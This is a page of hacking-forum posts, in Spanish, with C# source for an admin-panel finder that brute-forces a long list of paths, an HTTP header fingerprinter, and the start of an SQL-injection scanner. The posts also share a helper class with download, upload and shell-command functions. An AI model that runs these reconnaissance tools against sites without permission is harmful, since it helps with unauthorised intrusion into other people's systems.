elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)


  Mostrar Mensajes
Páginas: 1 2 3 4 5 6 7 8 9 10 11 [12] 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 ... 55
111  Programación / .NET (C#, VB.NET, ASP) / [C#] PanelFinder 0.3 en: 1 Agosto 2014, 15:57 pm
Un simple programa en C# para buscar el panel de admin en una pagina web.

Una imagen :



Los codigos :

Form1.cs

Código
  1. // PanelFinder 0.3
  2. // (C) Doddy Hackman 2014
  3.  
  4. using System;
  5. using System.Collections.Generic;
  6. using System.ComponentModel;
  7. using System.Data;
  8. using System.Drawing;
  9. using System.Text;
  10. using System.Windows.Forms;
  11.  
  12. namespace PanelFinder
  13. {
  14.    public partial class Form1 : Form
  15.    {
  16.        public Form1()
  17.        {
  18.            InitializeComponent();
  19.        }
  20.  
  21.        private void button1_Click(object sender, EventArgs e)
  22.        {
  23.  
  24.            List<string> paneles = new List<string> {"admin/admin.asp","admin/login.asp",
  25.    "admin/index.asp",               "admin/admin.aspx",
  26.    "admin/login.aspx",              "admin/index.aspx",
  27.    "admin/webmaster.asp",           "admin/webmaster.aspx",
  28.    "asp/admin/index.asp",           "asp/admin/index.aspx",
  29.    "asp/admin/admin.asp",           "asp/admin/admin.aspx",
  30.    "asp/admin/webmaster.asp",       "asp/admin/webmaster.aspx",
  31.    "admin/",                        "login.asp",
  32.    "login.aspx",                    "admin.asp",
  33.    "admin.aspx",                    "webmaster.aspx",
  34.    "webmaster.asp",                 "login/index.asp",
  35.    "login/index.aspx",              "login/login.asp",
  36.    "login/login.aspx",              "login/admin.asp",
  37.    "login/admin.aspx",              "administracion/index.asp",
  38.    "administracion/index.aspx",     "administracion/login.asp",
  39.    "administracion/login.aspx",     "administracion/webmaster.asp",
  40.    "administracion/webmaster.aspx", "administracion/admin.asp",
  41.    "administracion/admin.aspx",     "php/admin/",
  42.    "admin/admin.php",               "admin/index.php",
  43.    "admin/login.php",               "admin/system.php",
  44.    "admin/ingresar.php",            "admin/administrador.php",
  45.    "admin/default.php",             "administracion/",
  46.    "administracion/index.php",      "administracion/login.php",
  47.    "administracion/ingresar.php",   "administracion/admin.php",
  48.    "administration/",               "administration/index.php",
  49.    "administration/login.php",      "administrator/index.php",
  50.    "administrator/login.php",       "administrator/system.php",
  51.    "system/",                       "system/login.php",
  52.    "admin.php",                     "login.php",
  53.    "administrador.php",             "administration.php",
  54.    "administrator.php",             "admin1.html",
  55.    "admin1.php",                    "admin2.php",
  56.    "admin2.html",                   "yonetim.php",
  57.    "yonetim.html",                  "yonetici.php",
  58.    "yonetici.html",                 "adm/",
  59.    "admin/account.php",             "admin/account.html",
  60.    "admin/index.html",              "admin/login.html",
  61.    "admin/home.php",                "admin/controlpanel.html",
  62.    "admin/controlpanel.php",        "admin.html",
  63.    "admin/cp.php",                  "admin/cp.html",
  64.    "cp.php",                        "cp.html",
  65.    "administrator/",                "administrator/index.html",
  66.    "administrator/login.html",      "administrator/account.html",
  67.    "administrator/account.php",     "administrator.html",
  68.    "login.html",                    "modelsearch/login.php",
  69.    "moderator.php",                 "moderator.html",
  70.    "moderator/login.php",           "moderator/login.html",
  71.    "moderator/admin.php",           "moderator/admin.html",
  72.    "moderator/",                    "account.php",
  73.    "account.html",                  "controlpanel/",
  74.    "controlpanel.php",              "controlpanel.html",
  75.    "admincontrol.php",              "admincontrol.html",
  76.    "adminpanel.php",                "adminpanel.html",
  77.    "admin1.asp",                    "admin2.asp",
  78.    "yonetim.asp",                   "yonetici.asp",
  79.    "admin/account.asp",             "admin/home.asp",
  80.    "admin/controlpanel.asp",        "admin/cp.asp",
  81.    "cp.asp",                        "administrator/index.asp",
  82.    "administrator/login.asp",       "administrator/account.asp",
  83.    "administrator.asp",             "modelsearch/login.asp",
  84.    "moderator.asp",                 "moderator/login.asp",
  85.    "moderator/admin.asp",           "account.asp",
  86.    "controlpanel.asp",              "admincontrol.asp",
  87.    "adminpanel.asp",                "fileadmin/",
  88.    "fileadmin.php",                 "fileadmin.asp",
  89.    "fileadmin.html",                "administration.html",
  90.    "sysadmin.php",                  "sysadmin.html",
  91.    "phpmyadmin/",                   "myadmin/",
  92.    "sysadmin.asp",                  "sysadmin/",
  93.    "ur-admin.asp",                  "ur-admin.php",
  94.    "ur-admin.html",                 "ur-admin/",
  95.    "Server.php",                    "Server.html",
  96.    "Server.asp",                    "Server/",
  97.    "wp-admin/",                     "administr8.php",
  98.    "administr8.html",               "administr8/",
  99.    "administr8.asp",                "webadmin/",
  100.    "webadmin.php",                  "webadmin.asp",
  101.    "webadmin.html",                 "administratie/",
  102.    "admins/",                       "admins.php",
  103.    "admins.asp",                    "admins.html",
  104.    "administrivia/",                "Database_Administration/",
  105.    "WebAdmin/",                     "useradmin/",
  106.    "sysadmins/",                    "admin1/",
  107.    "system-administration/",        "administrators/",
  108.    "pgadmin/",                      "directadmin/",
  109.    "staradmin/",                    "ServerAdministrator/",
  110.    "SysAdmin/",                     "administer/",
  111.    "LiveUser_Admin/",               "sys-admin/",
  112.    "typo3/",                        "panel/",
  113.    "cpanel/",                       "cPanel/",
  114.    "cpanel_file/",                  "platz_login/",
  115.    "rcLogin/",                      "blogindex/",
  116.    "formslogin/",                   "autologin/",
  117.    "support_login/",                "meta_login/",
  118.    "manuallogin/",                  "simpleLogin/",
  119.    "loginflat/",                    "utility_login/",
  120.    "showlogin/",                    "memlogin/",
  121.    "members/",                      "login-redirect/",
  122.    "sub-login/",                    "wp-login/",
  123.    "login1/",                       "dir-login/",
  124.    "login_db/",                     "xlogin/",
  125.    "smblogin/",                     "customer_login/",
  126.    "UserLogin/",                    "login-us/",
  127.    "acct_login/",                   "admin_area/",
  128.    "bigadmin/",                     "project-admins/",
  129.    "phppgadmin/",                   "pureadmin/",
  130.    "sql-admin/",                    "radmind/",
  131.    "openvpnadmin/",                 "wizmysqladmin/",
  132.    "vadmind/",                      "ezsqliteadmin/",
  133.    "hpwebjetadmin/",                "newsadmin/",
  134.    "adminpro/",                     "Lotus_Domino_Admin/",
  135.    "bbadmin/",                      "vmailadmin/",
  136.    "Indy_admin/",                   "ccp14admin/",
  137.    "irc-macadmin/",                 "banneradmin/",
  138.    "sshadmin/",                     "phpldapadmin/",
  139.    "macadmin/",                     "administratoraccounts/",
  140.    "admin4_account/",               "admin4_colon/",
  141.    "radmind-1/",                    "Super-Admin/",
  142.    "AdminTools/",                   "cmsadmin/",
  143.    "SysAdmin2/",                    "globes_admin/",
  144.    "cadmins/",                      "phpSQLiteAdmin/",
  145.    "navSiteAdmin/",                 "server_admin_small/",
  146.    "logo_sysadmin/",                "server/",
  147.    "database_administration/",      "power_user/",
  148.    "system_administration/",        "ss_vms_admin_sm/"
  149. };
  150.  
  151.            DH_Tools tools = new DH_Tools();
  152.  
  153.            String page = textBox1.Text;
  154.            String code = "";
  155.  
  156.            listBox1.Items.Clear();
  157.  
  158.            toolStripStatusLabel1.Text = "[+] Scanning ...";
  159.            this.Refresh();
  160.  
  161.            foreach(string panel in paneles) {
  162.                toolStripStatusLabel1.Text = "[+] Checking : "+panel;
  163.                this.Refresh();
  164.                code = tools.responsecode(page+"/"+panel);
  165.                if (code == "200")
  166.                {
  167.                    listBox1.Items.Add(page + "/" + panel);
  168.                }
  169.            }
  170.  
  171.            if (listBox1.Items.Count == 0)
  172.            {
  173.                MessageBox.Show("Not Found");
  174.            }
  175.  
  176.            toolStripStatusLabel1.Text = "[+] Finished";
  177.            this.Refresh();
  178.  
  179.        }
  180.  
  181.        private void listBox1_DoubleClick(object sender, EventArgs e)
  182.        {
  183.            DH_Tools tools = new DH_Tools();
  184.            tools.console("start " + listBox1.SelectedItem.ToString());
  185.        }
  186.    }
  187. }
  188.  
  189. // The End ?
  190.  

DH_Tools.cs

Código
  1. // Class Name : DH Tools
  2. // Version : Beta
  3. // Author : Doddy Hackman
  4. // (C) Doddy Hackman 2014
  5. //
  6. // Functions :
  7. //
  8. // [+] HTTP Methods GET & POST
  9. // [+] Get HTTP Status code number
  10. // [+] HTTP FingerPrinting
  11. // [+] Read File
  12. // [+] Write File
  13. // [+] GET OS
  14. // [+] Remove duplicates from a List
  15. // [+] Cut urls from a List
  16. // [+] Download
  17. // [+] Upload
  18. // [+] Get Basename from a path
  19. // [+] Execute commands
  20. // [+] URI Split
  21. // [+] MD5 Hash Generator
  22. // [+] Get MD5 of file
  23. // [+] Get IP address from host name
  24. //
  25. // Credits :
  26. //
  27. // Method POST -> https://technet.rapaport.com/Info/Prices/SampleCode/Full_Example.aspx
  28. // Method GET -> http://stackoverflow.com/questions/4510212/how-i-can-get-web-pages-content-and-save-it-into-the-string-variable
  29. // HTTP Headers -> http://msdn.microsoft.com/en-us/library/system.net.httpwebresponse.headers%28v=vs.110%29.aspx
  30. // List Cleaner -> http://forums.asp.net/t/1318899.aspx?Remove+duplicate+items+from+List+String+
  31. // Execute command -> http://www.codeproject.com/Articles/25983/How-to-Execute-a-Command-in-C
  32. // MD5 Hash Generator -> http://www.java2s.com/Code/CSharp/Security/GetandverifyMD5Hash.htm
  33. // Get MD5 of file -> http://stackoverflow.com/questions/10520048/calculate-md5-checksum-for-a-file
  34. //
  35. // Thanks to : $DoC and atheros14 (Forum indetectables)
  36. //
  37.  
  38. using System;
  39. using System.Collections.Generic;
  40. using System.Text;
  41.  
  42. using System.Net;
  43. using System.IO;
  44. using System.Text.RegularExpressions;
  45. using System.Security.Cryptography;
  46.  
  47. namespace PanelFinder
  48. {
  49.    class DH_Tools
  50.    {
  51.        public string toma(string url)
  52.        {
  53.            string code = "";
  54.  
  55.            try
  56.            {
  57.                WebClient nave = new WebClient();
  58.                nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
  59.                code = nave.DownloadString(url);
  60.            }
  61.            catch
  62.            {
  63.                //
  64.            }
  65.            return code;
  66.        }
  67.  
  68.        public string tomar(string url, string par)
  69.        {
  70.  
  71.            string code = "";
  72.  
  73.            try
  74.            {
  75.  
  76.                HttpWebRequest nave = (HttpWebRequest)
  77.                WebRequest.Create(url);
  78.  
  79.                nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
  80.                nave.Method = "POST";
  81.                nave.ContentType = "application/x-www-form-urlencoded";
  82.  
  83.                Stream anteantecode = nave.GetRequestStream();
  84.  
  85.                anteantecode.Write(Encoding.ASCII.GetBytes(par), 0, Encoding.ASCII.GetBytes(par).Length);
  86.                anteantecode.Close();
  87.  
  88.                StreamReader antecode = new StreamReader(nave.GetResponse().GetResponseStream());
  89.                code = antecode.ReadToEnd();
  90.  
  91.            }
  92.            catch
  93.            {
  94.                //
  95.            }
  96.  
  97.            return code;
  98.  
  99.        }
  100.  
  101.        public string responsecode(string url)
  102.        {
  103.            String code = "";
  104.            try
  105.            {
  106.                HttpWebRequest nave = (HttpWebRequest)WebRequest.Create(url);
  107.                nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
  108.                HttpWebResponse num = (HttpWebResponse)nave.GetResponse();
  109.  
  110.                int number = (int)num.StatusCode;
  111.                code = Convert.ToString(number);
  112.  
  113.            }
  114.            catch
  115.            {
  116.  
  117.                code = "404";
  118.  
  119.            }
  120.            return code;
  121.        }
  122.  
  123.        public string httpfinger(string url)
  124.        {
  125.  
  126.            String code = "";
  127.  
  128.            try
  129.            {
  130.  
  131.                HttpWebRequest nave1 = (HttpWebRequest)WebRequest.Create(url);
  132.                HttpWebResponse nave2 = (HttpWebResponse)nave1.GetResponse();
  133.  
  134.                for (int num = 0; num < nave2.Headers.Count; ++num)
  135.                {
  136.                    code = code + "[+] " + nave2.Headers.Keys[num] + ":" + nave2.Headers[num] + Environment.NewLine;
  137.                }
  138.  
  139.                nave2.Close();
  140.            }
  141.            catch
  142.            {
  143.                //
  144.            }
  145.  
  146.            return code;
  147.  
  148.        }
  149.  
  150.        public string openword(string file)
  151.        {
  152.            String code = "";
  153.            try
  154.            {
  155.                code = System.IO.File.ReadAllText(file);
  156.            }
  157.            catch
  158.            {
  159.                //
  160.            }
  161.            return code;
  162.        }
  163.  
  164.        public void savefile(string file, string texto)
  165.        {
  166.  
  167.            try
  168.            {
  169.                System.IO.StreamWriter save = new System.IO.StreamWriter(file, true);
  170.                save.Write(texto);
  171.                save.Close();
  172.            }
  173.            catch
  174.            {
  175.                //
  176.            }
  177.        }
  178.  
  179.        public string getos()
  180.        {
  181.            string code = "";
  182.  
  183.            try
  184.            {
  185.                System.OperatingSystem os = System.Environment.OSVersion;
  186.                code = Convert.ToString(os);
  187.            }
  188.            catch
  189.            {
  190.                code = "?";
  191.            }
  192.  
  193.            return code;
  194.        }
  195.  
  196.        public List<string> repes(List<string> array)
  197.        {
  198.            List<string> repe = new List<string>();
  199.            foreach (string lin in array)
  200.            {
  201.                if (!repe.Contains(lin))
  202.                {
  203.                    repe.Add(lin);
  204.                }
  205.            }
  206.  
  207.            return repe;
  208.  
  209.        }
  210.  
  211.        public List<string> cortar(List<string> otroarray)
  212.        {
  213.            List<string> cort = new List<string>();
  214.  
  215.            foreach (string row in otroarray)
  216.            {
  217.  
  218.                String lineafinal = "";
  219.  
  220.                Match regex = Regex.Match(row, @"(.*)\?(.*)=(.*)", RegexOptions.IgnoreCase);
  221.                if (regex.Success)
  222.                {
  223.                    lineafinal = regex.Groups[1].Value + "?" + regex.Groups[2].Value + "=";
  224.                    cort.Add(lineafinal);
  225.                }
  226.  
  227.            }
  228.  
  229.            return cort;
  230.        }
  231.  
  232.        public string download(string url, string savename)
  233.        {
  234.  
  235.            String code = "";
  236.  
  237.            WebClient nave = new WebClient();
  238.            nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
  239.  
  240.            try
  241.            {
  242.                nave.DownloadFile(url, savename);
  243.                code = "OK";
  244.            }
  245.            catch
  246.            {
  247.                code = "Error";
  248.            }
  249.  
  250.            return code;
  251.        }
  252.  
  253.        public string upload(string link, string archivo)
  254.        {
  255.  
  256.            String code = "";
  257.  
  258.            try
  259.            {
  260.  
  261.                WebClient nave = new WebClient();
  262.                nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
  263.                byte[] codedos = nave.UploadFile(link, "POST", archivo);
  264.                code = System.Text.Encoding.UTF8.GetString(codedos, 0, codedos.Length);
  265.  
  266.            }
  267.  
  268.            catch
  269.            {
  270.                code = "Error";
  271.            }
  272.  
  273.            return code;
  274.  
  275.        }
  276.  
  277.        public string basename(string file)
  278.        {
  279.            String nombre = "";
  280.  
  281.            FileInfo basename = new FileInfo(file);
  282.            nombre = basename.Name;
  283.  
  284.            return nombre;
  285.  
  286.        }
  287.  
  288.        public string console(string cmd)
  289.        {
  290.  
  291.            string code = "";
  292.  
  293.            try
  294.            {
  295.  
  296.                System.Diagnostics.ProcessStartInfo loadnow = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + cmd);
  297.                loadnow.RedirectStandardOutput = true;
  298.                loadnow.UseShellExecute = false;
  299.                loadnow.CreateNoWindow = true;
  300.                System.Diagnostics.Process loadnownow = new System.Diagnostics.Process();
  301.                loadnownow.StartInfo = loadnow;
  302.                loadnownow.Start();
  303.                code = loadnownow.StandardOutput.ReadToEnd();
  304.  
  305.            }
  306.  
  307.            catch
  308.            {
  309.                code = "Error";
  310.            }
  311.  
  312.            return code;
  313.  
  314.        }
  315.  
  316.        public string urisplit(string url, string opcion)
  317.        {
  318.  
  319.            string code = "";
  320.  
  321.            Uri dividir = new Uri(url);
  322.  
  323.            if (opcion == "host")
  324.            {
  325.                code = dividir.Host;
  326.            }
  327.  
  328.            if (opcion == "port")
  329.            {
  330.                code = Convert.ToString(dividir.Port);
  331.            }
  332.  
  333.            if (opcion == "path")
  334.            {
  335.                code = dividir.LocalPath;
  336.            }
  337.  
  338.            if (opcion == "file")
  339.            {
  340.                code = dividir.AbsolutePath;
  341.                FileInfo basename = new FileInfo(code);
  342.                code = basename.Name;
  343.            }
  344.  
  345.            if (opcion == "query")
  346.            {
  347.                code = dividir.Query;
  348.            }
  349.  
  350.            if (opcion == "")
  351.            {
  352.                code = "Error";
  353.            }
  354.  
  355.            return code;
  356.        }
  357.  
  358.        public string convertir_md5(string text)
  359.        {
  360.            MD5 convertirmd5 = MD5.Create();
  361.            byte[] infovalor = convertirmd5.ComputeHash(Encoding.Default.GetBytes(text));
  362.            StringBuilder guardar = new StringBuilder();
  363.            for (int numnow = 0; numnow < infovalor.Length; numnow++)
  364.            {
  365.                guardar.Append(infovalor[numnow].ToString("x2"));
  366.            }
  367.            return guardar.ToString();
  368.        }
  369.  
  370.        public string md5file(string file)
  371.        {
  372.  
  373.            string code = "";
  374.  
  375.            try
  376.            {
  377.                var gen = MD5.Create();
  378.                var ar = File.OpenRead(file);
  379.                code = BitConverter.ToString(gen.ComputeHash(ar)).Replace("-", "").ToLower();
  380.  
  381.            }
  382.            catch
  383.            {
  384.                code = "Error";
  385.            }
  386.  
  387.            return code;
  388.        }
  389.  
  390.        public string getip(string host)
  391.        {
  392.            string code = "";
  393.            try
  394.            {
  395.                IPAddress[] find = Dns.GetHostAddresses(host);
  396.                code = find[0].ToString();
  397.            }
  398.            catch
  399.            {
  400.                code = "Error";
  401.            }
  402.            return code;
  403.        }
  404.  
  405.    }
  406. }
  407.  
  408. // The End ?
  409.  

Si quieren lo puede bajar de aca.
112  Programación / .NET (C#, VB.NET, ASP) / [C#] HTTP FingerPrinting 0.2 en: 25 Julio 2014, 19:14 pm
Un simple programa en C# para hacer HTTP FingerPrinting.

Una imagen :



Los codigos :

Form1.cs

Código
  1. // HTTP FingerPrinting 0.2
  2. // (C) Doddy Hackman 2014
  3.  
  4. using System;
  5. using System.Collections.Generic;
  6. using System.ComponentModel;
  7. using System.Data;
  8. using System.Drawing;
  9. using System.Text;
  10. using System.Windows.Forms;
  11.  
  12. namespace HTTP_FingerPrinting
  13. {
  14.    public partial class Form1 : Form
  15.    {
  16.        public Form1()
  17.        {
  18.            InitializeComponent();
  19.        }
  20.  
  21.        private void button1_Click(object sender, EventArgs e)
  22.        {
  23.  
  24.            DH_Tools tools = new DH_Tools();
  25.  
  26.            toolStripStatusLabel1.Text = "[+] Searching ...";
  27.            this.Refresh();
  28.  
  29.            richTextBox1.Clear();
  30.            richTextBox1.AppendText(tools.httpfinger(textBox1.Text));
  31.  
  32.            toolStripStatusLabel1.Text = "[+] Finished";
  33.            this.Refresh();
  34.  
  35.        }
  36.    }
  37. }
  38.  
  39. // The End ?
  40.  

DH_Tools.cs

Código
  1. // Class Name : DH Tools
  2. // Version : Beta
  3. // Author : Doddy Hackman
  4. // (C) Doddy Hackman 2014
  5. //
  6. // Functions :
  7. //
  8. // [+] HTTP Methods GET & POST
  9. // [+] Get HTTP Status code number
  10. // [+] HTTP FingerPrinting
  11. // [+] Read File
  12. // [+] Write File
  13. // [+] GET OS
  14. // [+] Remove duplicates from a List
  15. // [+] Cut urls from a List
  16. // [+] Download
  17. // [+] Upload
  18. // [+] Get Basename from a path
  19. // [+] Execute commands
  20. // [+] URI Split
  21. // [+] MD5 Hash Generator
  22. // [+] Get MD5 of file
  23. // [+] Get IP address from host name
  24. //
  25. // Credits :
  26. //
  27. // Method POST -> https://technet.rapaport.com/Info/Prices/SampleCode/Full_Example.aspx
  28. // Method GET -> http://stackoverflow.com/questions/4510212/how-i-can-get-web-pages-content-and-save-it-into-the-string-variable
  29. // HTTP Headers -> http://msdn.microsoft.com/en-us/library/system.net.httpwebresponse.headers%28v=vs.110%29.aspx
  30. // List Cleaner -> http://forums.asp.net/t/1318899.aspx?Remove+duplicate+items+from+List+String+
  31. // Execute command -> http://www.codeproject.com/Articles/25983/How-to-Execute-a-Command-in-C
  32. // MD5 Hash Generator -> http://www.java2s.com/Code/CSharp/Security/GetandverifyMD5Hash.htm
  33. // Get MD5 of file -> http://stackoverflow.com/questions/10520048/calculate-md5-checksum-for-a-file
  34. //
  35. // Thanks to : $DoC and atheros14 (Forum indetectables)
  36. //
  37.  
  38. using System;
  39. using System.Collections.Generic;
  40. using System.Text;
  41.  
  42. using System.Net;
  43. using System.IO;
  44. using System.Text.RegularExpressions;
  45. using System.Security.Cryptography;
  46.  
  47. namespace HTTP_FingerPrinting
  48. {
  49.    class DH_Tools
  50.    {
  51.        public string toma(string url)
  52.        {
  53.            string code = "";
  54.  
  55.            try
  56.            {
  57.                WebClient nave = new WebClient();
  58.                nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
  59.                code = nave.DownloadString(url);
  60.            }
  61.            catch
  62.            {
  63.                //
  64.            }
  65.            return code;
  66.        }
  67.  
  68.        public string tomar(string url, string par)
  69.        {
  70.  
  71.            string code = "";
  72.  
  73.            try
  74.            {
  75.  
  76.                HttpWebRequest nave = (HttpWebRequest)
  77.                WebRequest.Create(url);
  78.  
  79.                nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
  80.                nave.Method = "POST";
  81.                nave.ContentType = "application/x-www-form-urlencoded";
  82.  
  83.                Stream anteantecode = nave.GetRequestStream();
  84.  
  85.                anteantecode.Write(Encoding.ASCII.GetBytes(par), 0, Encoding.ASCII.GetBytes(par).Length);
  86.                anteantecode.Close();
  87.  
  88.                StreamReader antecode = new StreamReader(nave.GetResponse().GetResponseStream());
  89.                code = antecode.ReadToEnd();
  90.  
  91.            }
  92.            catch
  93.            {
  94.                //
  95.            }
  96.  
  97.            return code;
  98.  
  99.        }
  100.  
  101.        public string respondecode(string url)
  102.        {
  103.            String code = "";
  104.            try
  105.            {
  106.                HttpWebRequest nave = (HttpWebRequest)WebRequest.Create(url);
  107.                nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
  108.                HttpWebResponse num = (HttpWebResponse)nave.GetResponse();
  109.  
  110.                int number = (int)num.StatusCode;
  111.                code = Convert.ToString(number);
  112.  
  113.            }
  114.            catch
  115.            {
  116.  
  117.                code = "404";
  118.  
  119.            }
  120.            return code;
  121.        }
  122.  
  123.        public string httpfinger(string url)
  124.        {
  125.  
  126.            String code = "";
  127.  
  128.            try
  129.            {
  130.  
  131.                HttpWebRequest nave1 = (HttpWebRequest)WebRequest.Create(url);
  132.                HttpWebResponse nave2 = (HttpWebResponse)nave1.GetResponse();
  133.  
  134.                for (int num = 0; num < nave2.Headers.Count; ++num)
  135.                {
  136.                    code = code + "[+] " + nave2.Headers.Keys[num] + ":" + nave2.Headers[num] + Environment.NewLine;
  137.                }
  138.  
  139.                nave2.Close();
  140.            }
  141.            catch
  142.            {
  143.                //
  144.            }
  145.  
  146.            return code;
  147.  
  148.        }
  149.  
  150.        public string openword(string file)
  151.        {
  152.            String code = "";
  153.            try
  154.            {
  155.                code = System.IO.File.ReadAllText(file);
  156.            }
  157.            catch
  158.            {
  159.                //
  160.            }
  161.            return code;
  162.        }
  163.  
  164.        public void savefile(string file, string texto)
  165.        {
  166.  
  167.            try
  168.            {
  169.                System.IO.StreamWriter save = new System.IO.StreamWriter(file, true);
  170.                save.Write(texto);
  171.                save.Close();
  172.            }
  173.            catch
  174.            {
  175.                //
  176.            }
  177.        }
  178.  
  179.        public string getos()
  180.        {
  181.            string code = "";
  182.  
  183.            try
  184.            {
  185.                System.OperatingSystem os = System.Environment.OSVersion;
  186.                code = Convert.ToString(os);
  187.            }
  188.            catch
  189.            {
  190.                code = "?";
  191.            }
  192.  
  193.            return code;
  194.        }
  195.  
  196.        public List<string> repes(List<string> array)
  197.        {
  198.            List<string> repe = new List<string>();
  199.            foreach (string lin in array)
  200.            {
  201.                if (!repe.Contains(lin))
  202.                {
  203.                    repe.Add(lin);
  204.                }
  205.            }
  206.  
  207.            return repe;
  208.  
  209.        }
  210.  
  211.        public List<string> cortar(List<string> otroarray)
  212.        {
  213.            List<string> cort = new List<string>();
  214.  
  215.            foreach (string row in otroarray)
  216.            {
  217.  
  218.                String lineafinal = "";
  219.  
  220.                Match regex = Regex.Match(row, @"(.*)\?(.*)=(.*)", RegexOptions.IgnoreCase);
  221.                if (regex.Success)
  222.                {
  223.                    lineafinal = regex.Groups[1].Value + "?" + regex.Groups[2].Value + "=";
  224.                    cort.Add(lineafinal);
  225.                }
  226.  
  227.            }
  228.  
  229.            return cort;
  230.        }
  231.  
  232.        public string download(string url, string savename)
  233.        {
  234.  
  235.            String code = "";
  236.  
  237.            WebClient nave = new WebClient();
  238.            nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
  239.  
  240.            try
  241.            {
  242.                nave.DownloadFile(url, savename);
  243.                code = "OK";
  244.            }
  245.            catch
  246.            {
  247.                code = "Error";
  248.            }
  249.  
  250.            return code;
  251.        }
  252.  
  253.        public string upload(string link, string archivo)
  254.        {
  255.  
  256.            String code = "";
  257.  
  258.            try
  259.            {
  260.  
  261.                WebClient nave = new WebClient();
  262.                nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
  263.                byte[] codedos = nave.UploadFile(link, "POST", archivo);
  264.                code = System.Text.Encoding.UTF8.GetString(codedos, 0, codedos.Length);
  265.  
  266.            }
  267.  
  268.            catch
  269.            {
  270.                code = "Error";
  271.            }
  272.  
  273.            return code;
  274.  
  275.        }
  276.  
  277.        public string basename(string file)
  278.        {
  279.            String nombre = "";
  280.  
  281.            FileInfo basename = new FileInfo(file);
  282.            nombre = basename.Name;
  283.  
  284.            return nombre;
  285.  
  286.        }
  287.  
  288.        public string console(string cmd)
  289.        {
  290.  
  291.            string code = "";
  292.  
  293.            try
  294.            {
  295.  
  296.                System.Diagnostics.ProcessStartInfo loadnow = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + cmd);
  297.                loadnow.RedirectStandardOutput = true;
  298.                loadnow.UseShellExecute = false;
  299.                loadnow.CreateNoWindow = true;
  300.                System.Diagnostics.Process loadnownow = new System.Diagnostics.Process();
  301.                loadnownow.StartInfo = loadnow;
  302.                loadnownow.Start();
  303.                code = loadnownow.StandardOutput.ReadToEnd();
  304.  
  305.            }
  306.  
  307.            catch
  308.            {
  309.                code = "Error";
  310.            }
  311.  
  312.            return code;
  313.  
  314.        }
  315.  
  316.        public string urisplit(string url, string opcion)
  317.        {
  318.  
  319.            string code = "";
  320.  
  321.            Uri dividir = new Uri(url);
  322.  
  323.            if (opcion == "host")
  324.            {
  325.                code = dividir.Host;
  326.            }
  327.  
  328.            if (opcion == "port")
  329.            {
  330.                code = Convert.ToString(dividir.Port);
  331.            }
  332.  
  333.            if (opcion == "path")
  334.            {
  335.                code = dividir.LocalPath;
  336.            }
  337.  
  338.            if (opcion == "file")
  339.            {
  340.                code = dividir.AbsolutePath;
  341.                FileInfo basename = new FileInfo(code);
  342.                code = basename.Name;
  343.            }
  344.  
  345.            if (opcion == "query")
  346.            {
  347.                code = dividir.Query;
  348.            }
  349.  
  350.            if (opcion == "")
  351.            {
  352.                code = "Error";
  353.            }
  354.  
  355.            return code;
  356.        }
  357.  
  358.        public string convertir_md5(string text)
  359.        {
  360.            MD5 convertirmd5 = MD5.Create();
  361.            byte[] infovalor = convertirmd5.ComputeHash(Encoding.Default.GetBytes(text));
  362.            StringBuilder guardar = new StringBuilder();
  363.            for (int numnow = 0; numnow < infovalor.Length; numnow++)
  364.            {
  365.                guardar.Append(infovalor[numnow].ToString("x2"));
  366.            }
  367.            return guardar.ToString();
  368.        }
  369.  
  370.        public string md5file(string file)
  371.        {
  372.  
  373.            string code = "";
  374.  
  375.            try
  376.            {
  377.                var gen = MD5.Create();
  378.                var ar = File.OpenRead(file);
  379.                code = BitConverter.ToString(gen.ComputeHash(ar)).Replace("-", "").ToLower();
  380.  
  381.            }
  382.            catch
  383.            {
  384.                code = "Error";
  385.            }
  386.  
  387.            return code;
  388.        }
  389.  
  390.        public string getip(string host)
  391.        {
  392.            string code = "";
  393.            try
  394.            {
  395.                IPAddress[] find = Dns.GetHostAddresses(host);
  396.                code = find[0].ToString();
  397.            }
  398.            catch
  399.            {
  400.                code = "Error";
  401.            }
  402.            return code;
  403.        }
  404.  
  405.    }
  406. }
  407.  
  408. // The End ?
  409.  

Si lo quieren bajar lo pueden hacer de aca
113  Programación / .NET (C#, VB.NET, ASP) / [C#] SQLI Scanner 0.4 en: 18 Julio 2014, 01:36 am
Un simple programa en C# para buscar paginas vulnerables a SQLI usando Google o Bing.

Una imagen :



Los codigos :

Form1.cs

Código
  1. // SQLI Scanner 0.4
  2. // (C) Doddy Hackman 2014
  3.  
  4. using System;
  5. using System.Collections.Generic;
  6. using System.ComponentModel;
  7. using System.Data;
  8. using System.Drawing;
  9. using System.Text;
  10. using System.Windows.Forms;
  11. using System.IO;
  12. using System.Text.RegularExpressions;
  13.  
  14. namespace SQLI_Scanner
  15. {
  16.    public partial class Form1 : Form
  17.    {
  18.        public Form1()
  19.        {
  20.            InitializeComponent();
  21.        }
  22.  
  23.        private void button1_Click(object sender, EventArgs e)
  24.        {
  25.  
  26.            listBox1.Items.Clear();
  27.  
  28.            DH_Tools tools = new DH_Tools();
  29.            funciones funcion = new funciones();
  30.  
